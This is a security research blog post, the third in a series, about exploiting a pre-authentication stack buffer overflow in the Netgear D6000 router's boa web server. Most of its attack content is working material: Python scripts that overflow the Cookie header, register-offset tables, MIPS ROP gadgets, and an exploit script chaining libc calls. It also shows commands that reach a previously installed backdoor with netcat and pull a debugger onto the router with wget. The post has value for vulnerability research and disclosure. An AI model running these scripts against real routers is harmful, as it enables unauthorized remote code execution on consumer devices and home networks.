C110100: Attacking Netgear D6000, Mutiple Remotes Code Execution (pre-auth) - part 3
Introduction
Hello everyone and welcome to the last part of this blogpost series. As a reminder, we identified and presented different 0days in the previous articles:
- C110010: Attacking Netgear D6000, Mutiple Remotes Code Execution (pre-auth) - part 1
- C110011: Attacking Netgear D6000, Mutiple Remotes Code Execution (pre-auth) - part 2
This time, we’ll get straight the matter by presenting a memory corruption (Stack
Based Buffer Overflow with ASLR bypass) discovered when we were trying to understand
how the parsing of asp files was implemented in the
boa
binary (/userfs/bin/boa).
To exploit the target, we had to set up some debug, which we were able to do thanks to a shell obtained via the previous vulnerabilities.
Let’s check the security mechanisms implemented on the binary:
Debug
On our host, we set up an HTTP server with a debugger ready to be downloaded.
python3 -m http.server
Then, we connect ourselves to the router via the backdoor we had previously installed.
rlwrap nc 192.168.1.1 23
And place the debugger on the target.
wget http://192.168.1.2:8000/gdbserver -o /tmp/gdbserver && chmod +x /tmp/gdbserver
On the target
To debug the binary boa
, just use the following commands:
/tmp/gdbserver --attach 192.168.1.1:1337 $(ps|grep boa|grep -v grep|cut -d " " -f 1)
This command attaches the debugger to the process of interest.
cat /proc/$(ps|grep boa|grep -v grep|cut -d ' ' -f 1)/maps|grep "/lib/libc.so.0"|grep xp
This command is used to find where the libc was mapped in memory.
On the host
To debug the remote use the following command:
gdb boa
(gdb) target remote 192.168.1.1:1337
(gdb) set follow-fork-mode child
First crash
The objective is to verify the exploitability of the vulnerability by crashing the process and inspecting the registers modified by the payload.
We developed the script trigger_0.py
to crash boa
’s child process after calling the fork()
function.
File: trigger_0.py
# The purpose of this script is to demonstrate that, after forking, the child
# process of boa crashes when it tries to parse the Cookie header within the
# HTTP request.
import socket
# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
# We prepare the HTTP request.
request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)
This generates a crash that allows us to explore the contents of the registers.
(gdb) c
Continuing.
Program received signal SIGBUS, Bus error.
0x6a30426a in ?? ()
(gdb) info reg
zero at v0 v1 a0 a1 a2 a3
R0 00000000 181020e1 ffffffff 0000004b 7f996b00 00000001 00dc8e18 00000010
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000011 2b721668 00000001 fffffff8 00000025 fffffffc 0000002a 0000006d
s0 s1 s2 s3 s4 s5 s6 s7
R16 68384268 39426930 42693142 69324269 33426934 42693542 69364269 37426938
t8 t9 k0 k1 gp sp s8 ra
R24 00000030 00000000 7f996934 00000000 0045f6d0 7f9970d8 42693942 6a30426a
status lo hi badvaddr cause pc
01000313 3141a400 00000755 6a30426a 10805010 6a30426a
fcsr fir hi1 lo1 hi2 lo2 hi3 lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
dspctl restart
00000000 00000000
Then we checked the registers we manage to control by identifying markers (to determine offsets) for controlling registers.
>>> chr(0x68)+chr(0x38)+chr(0x42)+chr(0x68)
'h8Bh'
This gives us the following table of markers.
s0 | s1 | s2 | s3 | s4 | s5 | s6 | s7 | s8 | sp | ra |
---|---|---|---|---|---|---|---|---|---|---|
68384268 | 39426930 | 42693142 | 69324269 | 33426934 | 42693542 | 69364269 | 37426938 | 42693942 | 7fbedd58 | 6a30426a |
h8Bh | 9Bi0 | Bi1B | i2Bi | 3Bi4 | Bi5B | i6Bi | 7Bi8 | Bi9B | 0x7fbedd58 point to 0x31426a32 = 1Bj2 | j0Bj |
Second crash
Once we’ve identified the registers, we need to take control of them. We therefore developed the following script:
File: trigger_1.py
# This script highlights the fact that we are capable of controlling the value
# stored in almost all registers.
import socket
# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
"s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
"s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
"sp": b"1Bj2",
"ra": b"j0Bj"
}
# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
"s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
"s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
"s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
"s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
"s8": PAYLOAD.find(TRIGGERS["s8"]),
"sp": PAYLOAD.find(TRIGGERS["sp"]),
"ra": PAYLOAD.find(TRIGGERS["ra"]),
}
# This function allows us to define the value stored in a register.
def set_register_value(register, value):
PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value
set_register_value("s0", b"AAAA")
set_register_value("s1", b"BBBB")
set_register_value("s2", b"CCCC")
set_register_value("s3", b"DDDD")
set_register_value("s4", b"EEEE")
set_register_value("s5", b"FFFF")
set_register_value("s6", b"GGGG")
set_register_value("s7", b"HHHH")
set_register_value("s8", b"IIII")
set_register_value("sp", b"JJJJ")
set_register_value("ra", b"KKKK")
# We prepare the HTTP request.
request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)
Which gave us the following result in gdb
:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4b4b4b4b in ?? ()
(gdb) info reg
zero at v0 v1 a0 a1 a2 a3
R0 00000000 18102088 ffffffff 0000004b 7fa44450 00000001 00a58e18 00000010
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000011 2b28f668 00000001 fffffff8 00000025 fffffffc 0000002a 0000006d
s0 s1 s2 s3 s4 s5 s6 s7
R16 41414141 42424242 43434343 44444444 45454545 46464646 47474747 48484848
t8 t9 k0 k1 gp sp s8 ra
R24 00000030 00000000 7fa44284 00000000 0045f6d0 7fa44a28 49494949 4b4b4b4b
status lo hi badvaddr cause pc
01000313 632d3600 0000083b 4b4b4b4a 10805008 4b4b4b4b
fcsr fir hi1 lo1 hi2 lo2 hi3 lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
dspctl restart
00000000 00000000
And allows us to update the previous table.
s0 | s1 | s2 | s3 | s4 | s5 | s6 | s7 | s8 | sp | ra |
---|---|---|---|---|---|---|---|---|---|---|
41414141 | 42424242 | 43434343 | 44444444 | 45454545 | 46464646 | 47474747 | 48484848 | 49494949 | 7fd664a8 | 4b4b4b4b |
AAAA | BBBB | CCCC | DDDD | EEEE | FFFF | GGGG | HHHH | IIII | 0x7fd664a8 point to 0x4a4a4a4a = JJJJ | KKKK |
Exploit part 1, let’s call libc’s sleep()
We then chose to exploit this vulnerability by creating a ROP chain and started
(which turned out to be a waste of time) to develop a ROP chain to trigger a call
to libc’s sleep()
function, as the underlying processor was of MIPS architecture
and we thought we’d have to manage cache cohesion (which turned out to be
unnecessary).
objdump -D libc.so.0|grep sleep
0000df20 <__libc_nanosleep>:
df44: 10e00007 beqz a3,df64 <__libc_nanosleep+0x44>
0005e500 <sleep>:
5e530: 14800005 bnez a0,5e548 <sleep+0x48>
5e538: 10000075 b 5e710 <sleep+0x210>
5e540: 10000002 b 5e54c <sleep+0x4c>
5e554: 0461fffa bgez v1,5e540 <sleep+0x40>
5e578: 04400063 bltz v0,5e708 <sleep+0x208>
5e598: 1440005b bnez v0,5e708 <sleep+0x208>
5e5b0: 14400045 bnez v0,5e6c8 <sleep+0x1c8>
5e5bc: 10000002 b 5e5c8 <sleep+0xc8>
5e5d0: 0461fffc bgez v1,5e5c4 <sleep+0xc4>
5e5e8: 04400047 bltz v0,5e708 <sleep+0x208>
5e604: 0441000f bgez v0,5e644 <sleep+0x144>
5e63c: 10000033 b 5e70c <sleep+0x20c>
5e654: 14430013 bne v0,v1,5e6a4 <sleep+0x1a4>
5e69c: 10000010 b 5e6e0 <sleep+0x1e0>
5e6c0: 10000003 b 5e6d0 <sleep+0x1d0>
5e6e0: 1240000b beqz s2,5e710 <sleep+0x210>
5e700: 10000003 b 5e710 <sleep+0x210>
0005ed00 <usleep>:
Because in this version of libc, the offset of sleep()
contains a null byte,
we had to use an offsetted version (by an offset relative to the gadget used) of
the function so that our payload (HTTP request) would not contain a null byte.
Gadget 1: 0x0002a3d8
addiu $a0, $zero, 0x17; # a0 = 0x17 = 23
lw $ra, 0x24($sp); # ra = sp+0x24
lw $gp, 0x18($sp); # gp = sp+0x18
jr $ra; # jr ra
addiu $sp, $sp, 0x28; # sp = sp+28
Gadget 2: 0x00033210
move $t9, $s1; # t9 = s1
addiu $a1, $s0, 0x3940; # a1 = s0+0x3940
jalr $t9; # jalr t9
addiu $a2, $zero, 0x18; # a2 = 0x18
Gadget 3: 0x00047c0c
move $t9, $a1; # t9 = a1
move $a1, $a2; # a1 = a2 = 0x18
jr $t9; # jalr t9
addiu $a0, $a0, 8; # a0 = a0 + 8
File: exploit_0.py
import socket
# Let's generate a cyclic pattern using the following tool:
# - https://wiremask.eu/tools/buffer-overflow-pattern-generator/
PAYLOAD = bytearray(
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
b"Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7" + \
b"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1" + \
b"Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5" + \
b"Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" + \
b"Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3" + \
b"Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7" + \
b"Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1" + \
b"At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5" + \
b"Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9" + \
b"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3" + \
b"Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7" + \
b"Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1" + \
b"Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5" + \
b"Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9" + \
b"Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3" + \
b"Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7" + \
b"Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1" + \
b"Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5" + \
b"Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9" + \
b"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3" + \
b"By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7" + \
b"Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1" + \
b"Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5" + \
b"Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" + \
b"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3" + \
b"Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7" + \
b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)
# This dictionary stores markers allowing us to determine the offset allowing us
# to control each register.
TRIGGERS = {
"s0": b"h8Bh", "s1": b"9Bi0", "s2": b"Bi1B", "s3": b"i2Bi", "s4": b"3Bi4",
"s5": b"Bi5B", "s6": b"i6Bi", "s7": b"7Bi8", "s8": b"Bi9B",
"sp": b"1Bj2",
"ra": b"j0Bj",
"next_ra": b"3Bk4"
}
# This dictionary stores the offsets allowing us to control the value stored in
# each register.
INDEXES = {
"s0": PAYLOAD.find(TRIGGERS["s0"]), "s1": PAYLOAD.find(TRIGGERS["s1"]),
"s2": PAYLOAD.find(TRIGGERS["s2"]), "s3": PAYLOAD.find(TRIGGERS["s3"]),
"s4": PAYLOAD.find(TRIGGERS["s4"]), "s5": PAYLOAD.find(TRIGGERS["s5"]),
"s6": PAYLOAD.find(TRIGGERS["s6"]), "s7": PAYLOAD.find(TRIGGERS["s7"]),
"s8": PAYLOAD.find(TRIGGERS["s8"]),
"sp": PAYLOAD.find(TRIGGERS["sp"]),
"ra": PAYLOAD.find(TRIGGERS["ra"]),
"next_ra": PAYLOAD.find(TRIGGERS["next_ra"])
}
# This dictionary contains the offsets of the gadgets useful for the ROP chain
# within the libc.
GADGET_OFFSETS = {
1: 0x0002a3d8, # 0x0002a3d8: addiu $a0, $zero, 0x17; lw $ra, 0x24($sp); lw $gp, 0x18($sp); jr $ra; addiu $sp, $sp, 0x28;
2: 0x00033210, # 0x00033210: move $t9, $s1; addiu $a1, $s0, 0x3940; jalr $t9; addiu $a2, $zero, 0x18;
3: 0x00047c0c, # 0x00047c0c: move $t9, $a1; move $a1, $a2; jr $t9; addiu $a0, $a0, 8;
}
# 0005e500 <sleep>:
# The address of the libc's sleep() function being at an offset containing a
# null byte, we use a shifting technique to get around the problem.
SLEEP_OFFSET = 0x0005e500
SHIFTED_SLEEP_OFFSET = SLEEP_OFFSET - 0x3940
# This function allows us to define the value stored in a register.
def set_register_value(register, value):
PAYLOAD[ INDEXES[register] : INDEXES[register] + 4 ] = value
# We get the libc base address.
libc_base_address = int(input("Enter libc base address:\n> ").replace("0x", ""), 16)
# We recalculate the gadget addresses using the libc base address.
gadgets = {}
for i in GADGET_OFFSETS:
print(f"[*] Gadget {i} offset: {hex(GADGET_OFFSETS[i])}")
gadgets[i] = hex(libc_base_address + GADGET_OFFSETS[i])
print(f"[*] Gadget {i} is at address: {gadgets[i]}")
gadgets[i] = bytearray.fromhex(gadgets[i].replace("0x", ""))
# We recalculate the address of the sleep() shifted function.
print(f"[*] sleep() offset: {hex(SLEEP_OFFSET)}")
sleep = hex(libc_base_address + SLEEP_OFFSET)
print(f"[*] sleep() is at address: {sleep}")
shifted_sleep = hex(libc_base_address + SHIFTED_SLEEP_OFFSET)
print(f"[*] shifted sleep() is at address: {shifted_sleep}")
shifted_sleep = bytearray.fromhex(shifted_sleep.replace("0x", ""))
# This wait allows us to define breakpoints in the debugger.
wait = input("Press enter to continue ...\n")
set_register_value("s0", shifted_sleep)
set_register_value("s1", gadgets[3])
set_register_value("ra", gadgets[1])
set_register_value("next_ra", gadgets[2])
# We prepare the HTTP request.
request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
# we inject our payload into the Cookie header.
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
# We connect ourselves via a TCP connection to the router's listening port (80).
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
# HTTP request is sent to the target.
fd.send(request)
Exploit part 2, let’s call libc’s system()
After identifying this second ROP chain for calling the system()
function while
controlling the first argument, we realized that when we exploited the bug using
a Ret2Libc-type technique (putting sp
in a0
and calling system()
), there
was no need to manage cache cohesion, despite this being stipulated in numerous
articles over the Internet.
objdump -D libc.so.0|grep system
0004683c <svcerr_systemerr>:
00059bb0 <__libc_system>:
59be4: 10800063 beqz a0,59d74 <__libc_system+0x1c4>
